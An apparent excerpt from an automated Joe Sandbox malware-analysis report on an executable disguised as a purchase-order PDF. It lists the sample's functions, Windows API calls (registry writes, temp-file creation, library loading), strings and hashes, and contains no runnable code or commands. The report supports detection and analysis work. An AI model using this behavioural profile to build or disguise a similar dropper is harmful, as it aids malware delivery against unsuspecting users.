RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsd51BE.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsd51BE.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd51BE.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nsd51BE.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsd51BE.tmp
API String ID: 1356686001-494344942
Opcode ID: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-823278215
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(00000040,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2206700289.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2206687623.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206712677.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2206725097.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00401FC3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 00401FEE

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,759223A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,759223A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,?,000000F0), ref: 0040207C

Strings

fu, xrefs: 00402041

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID: fu
API String ID: 334405425-4160347406
Opcode ID: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction ID: 561ed2f99fcd8f3c69216c61aae9e950b585f3ecd418fa9455324ea25216acba
Opcode Fuzzy Hash: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction Fuzzy Hash: 8221A731900209EBDF20AF65CE48A9E7E71BF00354F20427BF510B51E1CBBD8A81DA5D

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E
nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-44229769
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,75923420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75923420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly,?,00000000,000000F0), ref: 00401645

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Verminly
API String ID: 1892508949-2045147251
Opcode ID: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000495,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd51BE.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction ID: caa0a88e983a87845293d3a09aded013c5498a2120ee6ea3f3930af667db2d56
Opcode Fuzzy Hash: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction Fuzzy Hash: 9FF08171A00204ABEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000495,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsd51BE.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction ID: 28617f4b1a8802b5017de0243b5a45cf97da40b04a50325282b533cdbf166070
Opcode Fuzzy Hash: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction Fuzzy Hash: 64115E31911205EBDB14CFA4DA489AEB7B4EF44354B20843FE446B72D0DAB89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00401DDC Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,?), ref: 00401DF2
EnableWindow.USER32(00000000,00000000), ref: 00401DFD

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204672986.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction ID: 46dfe73b81ae29a5099323896a5bc3e3d9df575198e3285abdeb67f25c429c8d
Opcode Fuzzy Hash: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction Fuzzy Hash: 76E08C326005009BCB10AFB5AA4999D3375DF90369710007BE402F10E1CABC9C409A2D

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.2204558947.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2204544502.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204575832.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2204590264.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
